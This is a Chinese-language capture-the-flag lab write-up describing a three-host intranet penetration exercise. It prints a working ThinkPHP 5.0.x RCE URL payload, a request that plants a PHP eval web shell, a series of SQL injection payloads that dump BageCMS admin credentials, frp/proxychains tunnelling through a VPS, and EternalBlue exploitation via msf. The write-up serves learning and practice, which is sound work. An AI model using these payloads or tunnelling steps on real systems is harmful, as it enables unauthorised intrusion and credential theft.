在過去的一些實戰經歷中發現自己內網相關的技能還比較薄弱,所以專門找了個靶場(teamssix.com)做下練習,靶場的web漏洞利用都很簡單,主要訓練自己內網搭代理隧道的熟練度,如果你和我一樣對複雜網路下隧道搭建不熟悉的話,不妨一起看看這篇文章,希望能對你有一些幫助。
目標:拿下內網最深處主機的flag.txt
檔案
在網際網路環境下發現一處資產 ,這裡以 x.x.220.130
替代,直接存取 x.x.220.130
發現以下頁面:
很明顯這是一個thinkphp應用,隨便指定一個路由http://x.x.220.130/index.php/?s=123
,爆出thinkphp的詳細版本。
tp5在5.0-5.0.24
和 5.1.0-5.1.30
都是存在RCE(Remote code Execution)的,這裡運氣很好,直接使用5.0.x路由預設相容模式進行RCE,使用以下payload 執行id
命令:
http://x.x.220.130/index.php/?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=id
可以看見命令執行成功。
接下來直接寫入一個shell ,使用php 的 file_put_contents
函數寫個一句話木馬:
http://x.x.220.130/index.php/?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=qaxnb.php&vars[1][1]=%3C?php%20@eval($_POST[%27qaxnb666%27]);?%3E
驗證:
驗證成功,直接使用蟻劍進行連線。
將超時時間調高,因為後續會上傳檔案避免超時而中斷:
連線成功:
第一層的flag就在網站根目錄下面, 直接雙擊讀取即可:
接上文,已經拿下第一臺伺服器,嘗試對這臺伺服器進行資訊收集:
拿下的這臺伺服器發現許可權並不高僅為www,但是有驚喜的是這臺機器存在雙網路卡,其中一張網路卡(ens37
)繫結了內網ip(192.168.22.131
),證明這臺伺服器處於企業架構的DMZ(非軍事區)區域,且是兩個網段的邊界節點,那麼我們只要藉助這臺伺服器作為跳板即可進入這家企業的內網,至少進入了192.168.22.x/24
網段的內網。
既然發現了存在192.168.22.x/24
網段,所以嘗試對 22 網段進行資訊收集,這裡使用fscan (https://github.com/shadow1ng/fscan)工具進行內網大保健.
上傳fscan 到伺服器目錄/tmp
對 192.168.22.x/24
網段進行掃描:
./fscan -h 192.168.22.1/24 -o fscan.log
檢視掃描結果:
發現網段內還存在192.168.22.128
和 , 且192.168.22.129
192.168.22.128:80
存在 cms服務。
接下來的目標就是拿下192.168.22.128
伺服器,直接通過DMZ這臺伺服器因為許可權太低所以不能直接用它來滲透,所以需要
以第一臺服務作為跳板。
先畫個網路拓撲圖,方便後續理解,第一臺機器我們也叫它Target 1
.
因為在上一步資訊收集時發現192.168.22.128:80
(Target 2)存在 cms服務,有兩種方式進行利用:
80
埠進行埠轉發。 為了進一步對內網進行探測,這裡選擇第二種方式。
反向代理有很多工具可以使用,frp、ew、ngrok都可以,這裡使用frp方式。
frp存在伺服器端(frps)與使用者端(frpc), frps需要一直保持執行,轉發方式通過使用者端組態檔進行確定。
下載frps到自己的vps上,frps.ini 設定如下 :
其中 token 表示使用者端進行連線的驗證引數, 監聽埠為17001, dashboard 為frps自帶的儀表盤,方便對frps執行情況進行檢視,
使用命令frps -c frps.ini
啟動即可,如果想要後臺執行,可以加入service或者使用nohup啟動。
netstat 檢視對應埠在監聽則證明啟動成功。使用設定的dashboard埠也能成功進入。
將frpc 傳入target1 /tmp/frp
目錄:
frpc.ini 設定內容:
其中common內容與frps.ini保持一致即可, target1使用者端分別設定了socks5與http的代理方式,使用frpc -c frpc.ini
進行啟動:
在 vps 伺服器端分別發現了16004與16005埠,證明代理搭建成功!
這樣就相當於打通了外部與該企業的內網,在網際網路掛著vps 16004/16005的代理就能存取 Target2 所在的網段:
在上一步驟中已經搭建好了內網代理,現在進行以下測試,首先在沒有使用代理時,192.168.22.128是無法存取的:
通過瀏覽器外掛設定代理,因為瀏覽器不支援socks5 代理的加密認證,所以這裡設定http方式
再次存取192.168.22.128
,成功存取,到此我們就已經存取了企業第二層內網:
雖然這裡瀏覽器能夠正常存取了,但是在滲透的過程中常常會使用安全工具進行掃描或者漏洞利用,這些工具大部分沒有預留走代理的設定,或者系統的代理往往不會生效,這種情況怎麼辦呢?
所以這時候強制代理工具就很重要了,強制代理工具也有很多,這裡使用proxifer,這款工具在win/mac下都有比較方便。
### 對`Target2` 進行埠掃描
雖然在之前的掃描中發現了Target2 80埠存在一個cms,但是 滲透總是照著軟柿子捏,我們嘗試使用nmap 對Target2 進行埠掃描,尋找其開放的埠。
1. 首先需要設定Proxifer
,先設定代理伺服器
nmap -sT 192.168.22.128 -Pn
對21、22、3306 都進行了弱口令嘗試,但無解,888、8888 是寶塔的控制面板介面,嘗試了寶塔之前的phpmyadmin未授權存取也無解。看樣子只能對80埠下手。
通過檢視網頁底部指紋資訊,知道這是一個bage cms搭建的網站,而且從時間上來看有些老舊。
通過在網上尋找bage cms的利用點發現均為一些任意檔案讀取或者xss等後管的漏洞利用,雖然通過路徑掃描找到了後臺地址:http://192.168.22.128/index.php?r=admini/public/login
但並沒有弱口令,而且因為有驗證碼 所以也沒法爆破,這個時候就茫然了,完全拿不下。
但總得抓個包先看看吧,聯想到之前某活動,有個巨佬通過註釋找到利用點拿到shell的場景,我這次也留意了註釋的內容,刺激的是果然在註釋裡面有提示!
存取提示的地址http://192.168.22.128/index.php?r=vul&keyword=1
:
加上單引號,典型的mysql報錯注入:
所以使用報錯注入注出後管使用者名稱和密碼就好(中途發現報錯注入顯示的字元長度有限制,後面轉成了聯合注入),細節就不完整放了,很基礎,貼下過程中的payload:
-- 資料庫
-- bagecms
1'/**/and/**/updatexml(1,(concat(0x7e,database(),0x7e)),1)%3d'1+
-- 注使用者
-- bagecms@localhost
1'/**/and/**/updatexml(1,(concat(0x7e,user(),0x7e)),1)%3d'1+
-- 注表
-- bage_ad,bage_admin,bage_admin_group,bage_admin_logger,bage_attr,bage_attr_val,bage_catalog,bage_config,bage_link,bage_page,bage_post,bage_post_2tags,bage_post_album,bage_post_comment,bage_post_tags,bage_question,bage_special,bage_upload
1'+union+select+(select+group_concat(distinct+table_name)+from+information_schema.tables+where+table_schema%3d'bagecms'),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+%23
-- 注段
-- id,username,password,realname,group_id,email,qq,notebook,mobile,telephone,last_login_ip,last_login_time,login_count,status_is,create_time
1'+union+select+(select+group_concat(distinct+column_name)+from+information_schema.columns+where+table_schema%3d'bagecms'+and+table_name%3d'bage_admin'),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+%23
-- 注使用者名稱
-- admin
1'+union+select+(select+group_concat(distinct+username)+from+bagecms.bage_admin ),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+%23
-- 注密碼
-- 46f94c8de14fb36680850768ff1b7f2a (123qwe)
1'+union+select+(select+group_concat(distinct+password)+from+bagecms.bage_admin ),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+%23
把注入出來的md5 密碼去解一下,得到(admin/123qwe):
使用注入得到的賬號密碼進行登入,成功登入。
後管直接把Target2 的flag給顯示出來了,嘗試繼續深入,給這臺服務上傳shell,上傳點存在限制,但是在模板功能模組存在直接編輯模板程式碼的功能,所以很簡單直接把一句話隨便找個檔案放入就好:
嘗試使用蟻劍進行連線,因為Target2 是內網機器,所以要連線shell得先給蟻劍掛代理:
其餘和Target1 一樣進行連線, 連線成功,至此 Target2 也被拿下。
同樣的步驟,先對剛拿下的Taget2 進行資訊收集:
發現和 Target1 類似,同樣是雙網路卡,且能存取192.168.33.128 網段,和 Target1 不同的是不能出網,如果類比企業的話,33可能就是企業的核心生產網。
再次上傳fscan,對33網段進行內網大保健:
顯示33網段除了Target2 之外 ,還有一臺192.168.33.33
(Target3) ,且該主機為win7 ,fscan掃描得出存在永恆之藍漏洞(MS17-010),所以可以再使用Target2的網路對Target3發起永恆之藍攻擊
#### 搭建雙層代理鏈
往內網越深,需要搭建的代理就越多,內網的機器往往都是不出網的,所以需要依賴DMZ的機器作為總的出入口搭建代理鏈。
代理鏈搭建其實很簡單,就是在Target1 上啟動伺服器端,Target2 通過使用者端連線伺服器端, 然後在使用代理時先讓代理走target1 然後再走target2,即:
Hacker <-> VPS <-> Taget1 <-> Taget2 <-> Taget3
給Target1 執行frps 伺服器端,設定使用和vps相同的引數:
上Target2 執行使用者端,其餘設定都一樣,把server_addr 換成開啟伺服器端的Target1ip(注意ip要是22段,不然網路不通)
Target1 上開始監聽Target2 使用者端設定的代理ip時,說明設定成功。
永恆之藍這個漏洞很老了,算是復古一波,利用方式在msf裡面就有,所以可以在vps上下載msf,給vps掛上代理鏈即可使用msf發起對Target3 的攻擊。
在linux上對應用進行強制代理的工具可以使用proxychains-ng
在centos 上可以很方便的 yum install -y proxychains-ng
安裝即可
組態檔預設在/etc/proxychains.conf
,按照如下順序設定(順序很重要,不能亂),因為我的frps就在這臺vps上,所以直接使用127.0.0.1即可:
剛剛fscan掃描結果可知192.168.33.33 開啟了 139和445 埠,使用proxtchain測試下,使用也非常簡單,在需要代理的命令前面加上
proxychain
即可:
proxychains telnet 192.168.33.33 139
從上圖可以看到埠已經通了,這時候就可以開啟msf一把梭了。
拿到Taget3 最高許可權!嘗試去讀取flag
拿到flag!
截圖:
到這裡已經拿到了第三層的內網主機最高許可權,fscan掃描也沒有其他主機資訊,可以確認這次就基本打穿了。
回顧一下,本次滲透總共通過三個邊界節點的漏洞利用成功拿下身處最內網的Target3,分別通過TP5、Bage cms、永恆之藍作為漏洞利用點,藉助frp 工具搭建代理鏈實現對內網的存取。其實整個過程還是很簡單的,並沒有涉及到域相關的內容,後續有機會再分享。
歡迎大家關注我的公眾號,這裡有乾貨滿滿的硬核安全知識,和我一起學起來吧!